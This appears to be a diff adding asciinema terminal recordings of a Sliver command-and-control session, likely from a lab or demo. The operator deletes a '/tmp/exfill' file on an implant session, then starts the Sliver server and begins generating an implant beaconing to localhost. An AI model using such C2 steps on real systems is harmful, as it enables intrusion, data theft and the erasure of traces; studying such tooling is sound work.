[55.024218, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
|
||||
[56.028095, "o", "\u001b[?25l"]
|
||||
[56.029855, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[56.034368, "o", "r\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[27D\u001b[26C\u001b[133D\u001b[27C\u001b[?25h"]
|
||||
[56.229518, "o", "\u001b[?25l\u001b[133D"]
|
||||
[56.230135, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[56.232862, "o", "\u001b[1m\u001b[32mrm\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[28D\u001b[26C\u001b[133D\u001b[28C\u001b[?25h"]
|
||||
[56.47673, "o", "\u001b[?25l"]
|
||||
[56.484665, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[56.494073, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[29D\u001b[26C\u001b[133D\u001b[29C\u001b[?25h"]
|
||||
[56.829576, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[56.840738, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[30D\u001b[26C\u001b[133D\u001b[30C\u001b[?25h"]
|
||||
[57.139811, "o", "\u001b[?25l"]
|
||||
[57.145956, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[57.155492, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
|
||||
[57.157097, "o", "\u001b[1A\u001b[31D\u001b[26C\u001b[133D\u001b[31C\u001b[?25h"]
|
||||
[57.313045, "o", "\u001b[?25l"]
|
||||
[57.313559, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[57.330045, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[32D\u001b[26C\u001b[133D\u001b[32C\u001b[?25h"]
|
||||
[57.776701, "o", "\u001b[?25l"]
|
||||
[57.782545, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[57.787146, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m/\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[57.788605, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[33D\u001b[26C\u001b[133D\u001b[33C\u001b[?25h"]
|
||||
[57.9755, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[57.981461, "o", "\u001b[6n"]
|
||||
[57.986792, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m/t\u001b[0m\u001b[0K\u001b[49m\r"]
|
||||
[57.988611, "o", "\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[34D\u001b[26C\u001b[133D\u001b[34C\u001b[?25h"]
|
||||
[58.076161, "o", "\u001b[?25l"]
|
||||
[58.077786, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[58.083459, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m/tm\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[58.083676, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[35D\u001b[26C\u001b[133D\u001b[35C\u001b[?25h"]
|
||||
[58.217578, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[58.221397, "o", "\u001b[6n"]
|
||||
[58.229071, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m/tmp\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[36D\u001b[26C\u001b[133D\u001b[36C\u001b[?25h"]
|
||||
[58.484841, "o", "\u001b[?25l"]
|
||||
[58.486855, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[58.49053, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m/tmp/\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[37D\u001b[26C\u001b[133D\u001b[37C\u001b[?25h"]
|
||||
[58.662608, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[58.674237, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m/tmp/e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[58.676117, "o", "\u001b[133D\u001b[1A\u001b[38D\u001b[26C\u001b[133D\u001b[38C\u001b[?25h"]
|
||||
[58.885848, "o", "\u001b[?25l\u001b[133D"]
|
||||
[58.887134, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[58.889124, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m/tmp/ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[58.889879, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[39D\u001b[26C\u001b[133D\u001b[39C\u001b[?25h"]
|
||||
[59.128129, "o", "\u001b[?25l"]
|
||||
[59.131804, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[59.143565, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m/tmp/exf\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A"]
|
||||
[59.144794, "o", "\u001b[40D\u001b[26C\u001b[133D\u001b[40C\u001b[?25h"]
|
||||
[59.258708, "o", "\u001b[?25l"]
|
||||
[59.266848, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[59.284696, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m/tmp/exfi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[41D\u001b[26C"]
|
||||
[59.286484, "o", "\u001b[133D\u001b[41C\u001b[?25h"]
|
||||
[59.340655, "o", "\u001b[?25l"]
|
||||
[59.3422, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[59.348732, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m/tmp/exfil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A"]
|
||||
[59.349041, "o", "\u001b[42D\u001b[26C\u001b[133D\u001b[42C\u001b[?25h"]
|
||||
[59.539838, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[59.550462, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m/tmp/exfill\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
|
||||
[59.551949, "o", "\u001b[1A\u001b[43D\u001b[26C\u001b[133D\u001b[43C\u001b[?25h"]
|
||||
[60.057831, "o", "\u001b[43D\u001b[26C\u001b[6n"]
|
||||
[60.072751, "o", "\u001b[133D\u001b[43C\u001b[0J\u001b[133D\r\r\n"]
|
||||
[60.078171, "o", "\u001b[0 q\r\n"]
|
||||
[60.162065, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m/tmp/exfill"]
|
||||
[60.163024, "o", "\r\n\r\n"]
|
||||
[60.172891, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[60.172992, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[60.17361, "o", "\u001b[6n"]
|
||||
[60.174878, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[60.175364, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
|
||||
[61.506818, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[61.519925, "o", "b\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[61.520232, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[27D\u001b[26C\u001b[133D\u001b[27C\u001b[?25h"]
|
||||
[61.648884, "o", "\u001b[?25l"]
|
||||
[61.654555, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[61.655516, "o", "\u001b[6n"]
|
||||
[61.66245, "o", "ba\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[28D\u001b[26C\u001b[133D\u001b[28C\u001b[?25h"]
|
||||
[61.763687, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[61.772785, "o", "bac\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[61.774208, "o", "\u001b[133D\u001b[1A\u001b[29D\u001b[26C\u001b[133D\u001b[29C\u001b[?25h"]
|
||||
[61.901736, "o", "\u001b[?25l"]
|
||||
[61.909131, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[61.916763, "o", "back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[61.918509, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[30D\u001b[26C\u001b[133D\u001b[30C\u001b[?25h"]
|
||||
[62.095083, "o", "\u001b[?25l"]
|
||||
[62.104087, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[62.114625, "o", "backg\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[62.118208, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[31D\u001b[26C\u001b[133D\u001b[31C\u001b[?25h"]
|
||||
[62.150008, "o", "\u001b[?25l"]
|
||||
[62.151659, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[62.155565, "o", "backgr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[32D\u001b[26C\u001b[133D"]
|
||||
[62.156688, "o", "\u001b[32C\u001b[?25h"]
|
||||
[62.232795, "o", "\u001b[?25l\u001b[133D"]
|
||||
[62.235609, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[62.242081, "o", "backgro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[33D\u001b[26C\u001b[133D\u001b[33C\u001b[?25h"]
|
||||
[62.311331, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[62.312801, "o", "\u001b[6n"]
|
||||
[62.317158, "o", "backgrou\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A"]
|
||||
[62.318205, "o", "\u001b[34D\u001b[26C\u001b[133D\u001b[34C\u001b[?25h"]
|
||||
[62.403753, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[62.418615, "o", "backgroun\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[62.420727, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[35D\u001b[26C\u001b[133D\u001b[35C\u001b[?25h"]
|
||||
[62.550808, "o", "\u001b[?25l"]
|
||||
[62.553025, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[62.564944, "o", "\u001b[1m\u001b[32mbackground\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[62.566567, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[36D\u001b[26C\u001b[133D\u001b[36C\u001b[?25h"]
|
||||
[63.215621, "o", "\u001b[36D\u001b[26C\u001b[6n"]
|
||||
[63.221885, "o", "\u001b[133D\u001b[36C\u001b[0J\u001b[133D\r\r\n"]
|
||||
[63.223105, "o", "\u001b[0 q\r\n"]
|
||||
[63.252738, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBackground ...\r\n\r\n"]
|
||||
[63.264182, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[1 q"]
|
||||
[63.265338, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[63.267781, "o", "\u001b[0m\u001b[0K\u001b[49m\r"]
|
||||
[63.267882, "o", "\r\n\u001b[0K\u001b[0J\u001b[133D"]
|
||||
[63.268817, "o", "\u001b[1A\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
|
||||
[64.020589, "o", "^C"]
|
||||
[64.021731, "o", "\u001b[9D\u001b[9C\u001b[6n"]
|
||||
[64.034182, "o", "\u001b[133D\u001b[11C\u001b[0J\u001b[133D\r\r\n\u001b[0 q\r\n"]
|
||||
[64.036778, "o", "Confirm exit (Y/y, Ctrl-C): "]
|
||||
[64.604792, "o", "y"]
|
||||
[64.922733, "o", "\r\n"]
|
||||
[64.963795, "o", "\u001b[?2004hroot@98df0494f659:~# "]
|
||||
[65.410568, "o", "\u001b[?2004l\r\r\n"]
|
||||
[65.411491, "o", "exit\r\n"]
|
||||
@@ -0,0 +1,549 @@
|
||||
{"version": 2, "width": 133, "height": 91, "timestamp": 1714567775, "env": {"SHELL": "/bin/bash", "TERM": "screen"}}
|
||||
[0.135265, "o", "\u001b[?2004h"]
|
||||
[0.142879, "o", "root@98df0494f659:~# "]
|
||||
[0.769041, "o", "."]
|
||||
[0.814356, "o", "/"]
|
||||
[0.958219, "o", "s"]
|
||||
[1.076673, "o", "l"]
|
||||
[1.207847, "o", "i"]
|
||||
[1.28843, "o", "v"]
|
||||
[1.343393, "o", "e"]
|
||||
[1.4888, "o", "r"]
|
||||
[1.712271, "o", "-server "]
|
||||
[2.478212, "o", "\r\n"]
|
||||
[2.479562, "o", "\u001b[?2004l\r"]
|
||||
[3.561849, "o", "\u001b[32m\r\r\n ███████╗██╗ ██╗██╗ ██╗███████╗██████╗\r\r\n ██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗\r\r\n ███████╗██║ ██║██║ ██║█████╗ ██████╔╝\r\r\n ╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗\r\r\n ███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║\r\r\n ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝\r\r\n\u001b[0m\r\nAll hackers gain living weapon\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - 0b235b4d42d4eb75684825f5d5b30da71ec57d26 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n"]
|
||||
[3.566255, "o", "\r\n"]
|
||||
[3.592346, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[3.594255, "o", "\u001b[1 q"]
|
||||
[3.596777, "o", "\u001b[?25l"]
|
||||
[3.597555, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[3.600449, "o", "\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[3.601115, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A"]
|
||||
[3.601397, "o", "\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
|
||||
[4.240694, "o", "\u001b[?25l\u001b[133D"]
|
||||
[4.241228, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[4.244531, "o", "\u001b[6n"]
|
||||
[4.251274, "o", "g\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[10D\u001b[9C\u001b[133D\u001b[10C\u001b[?25h"]
|
||||
[4.351169, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.36482, "o", "ge\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[11D\u001b[9C\u001b[133D\u001b[11C\u001b[?25h"]
|
||||
[4.495238, "o", "\u001b[?25l\u001b[133D"]
|
||||
[4.500476, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.506985, "o", "gen\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[12D\u001b[9C\u001b[133D\u001b[12C"]
|
||||
[4.509269, "o", "\u001b[?25h"]
|
||||
[4.543745, "o", "\u001b[?25l"]
|
||||
[4.545789, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.54917, "o", "gene\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[4.550012, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[13D\u001b[9C\u001b[133D\u001b[13C\u001b[?25h"]
|
||||
[4.685727, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.698542, "o", "gener\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[14D\u001b[9C\u001b[133D\u001b[14C\u001b[?25h"]
|
||||
[4.786003, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.792822, "o", "genera\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[15D\u001b[9C\u001b[133D\u001b[15C\u001b[?25h"]
|
||||
[4.992792, "o", "\u001b[?25l\u001b[133D"]
|
||||
[4.993406, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.997917, "o", "generat\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[16D\u001b[9C\u001b[133D\u001b[16C\u001b[?25h"]
|
||||
[5.008804, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[5.009145, "o", "\u001b[6n"]
|
||||
[5.013429, "o", "\u001b[1m\u001b[32mgenerate\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A"]
|
||||
[5.015042, "o", "\u001b[17D\u001b[9C\u001b[133D\u001b[17C\u001b[?25h"]
|
||||
[5.086232, "o", "\u001b[?25l"]
|
||||
[5.088629, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.093719, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[18D\u001b[9C\u001b[133D\u001b[18C\u001b[?25h"]
|
||||
[5.631958, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.64081, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[5.642473, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[19D\u001b[9C\u001b[133D\u001b[19C\u001b[?25h"]
|
||||
[6.02906, "o", "\u001b[?25l"]
|
||||
[6.029832, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.043398, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[20D\u001b[9C\u001b[133D\u001b[20C\u001b[?25h"]
|
||||
[6.195146, "o", "\u001b[?25l"]
|
||||
[6.199877, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.210895, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[21D\u001b[9C\u001b[133D\u001b[21C\u001b[?25h"]
|
||||
[6.478378, "o", "\u001b[?25l"]
|
||||
[6.481273, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.490978, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22ml\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[6.492841, "o", "\u001b[133D\u001b[1A\u001b[22D\u001b[9C\u001b[133D\u001b[22C\u001b[?25h"]
|
||||
[6.653198, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.663722, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlo\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[23D\u001b[9C\u001b[133D\u001b[23C"]
|
||||
[6.665943, "o", "\u001b[?25h"]
|
||||
[6.776329, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[6.777007, "o", "\u001b[6n"]
|
||||
[6.782323, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mloc\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[6.784155, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[24D\u001b[9C\u001b[133D\u001b[24C\u001b[?25h"]
|
||||
[6.831454, "o", "\u001b[?25l\u001b[133D"]
|
||||
[6.83308, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.837562, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mloca\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A"]
|
||||
[6.83947, "o", "\u001b[25D\u001b[9C\u001b[133D\u001b[25C\u001b[?25h"]
|
||||
[6.878725, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[6.879492, "o", "\u001b[6n"]
|
||||
[6.883392, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocal\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[26D\u001b[9C"]
|
||||
[6.885432, "o", "\u001b[133D\u001b[26C\u001b[?25h"]
|
||||
[7.212309, "o", "\u001b[?25l"]
|
||||
[7.219009, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.231271, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalh\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A"]
|
||||
[7.231559, "o", "\u001b[27D\u001b[9C\u001b[133D\u001b[27C\u001b[?25h"]
|
||||
[7.280913, "o", "\u001b[?25l\u001b[133D"]
|
||||
[7.281677, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.287498, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalho\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[7.288969, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[28D\u001b[9C\u001b[133D\u001b[28C\u001b[?25h"]
|
||||
[7.344144, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[7.344737, "o", "\u001b[6n"]
|
||||
[7.349896, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhos\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[29D\u001b[9C\u001b[133D\u001b[29C\u001b[?25h"]
|
||||
[7.459011, "o", "\u001b[?25l"]
|
||||
[7.459811, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.469831, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
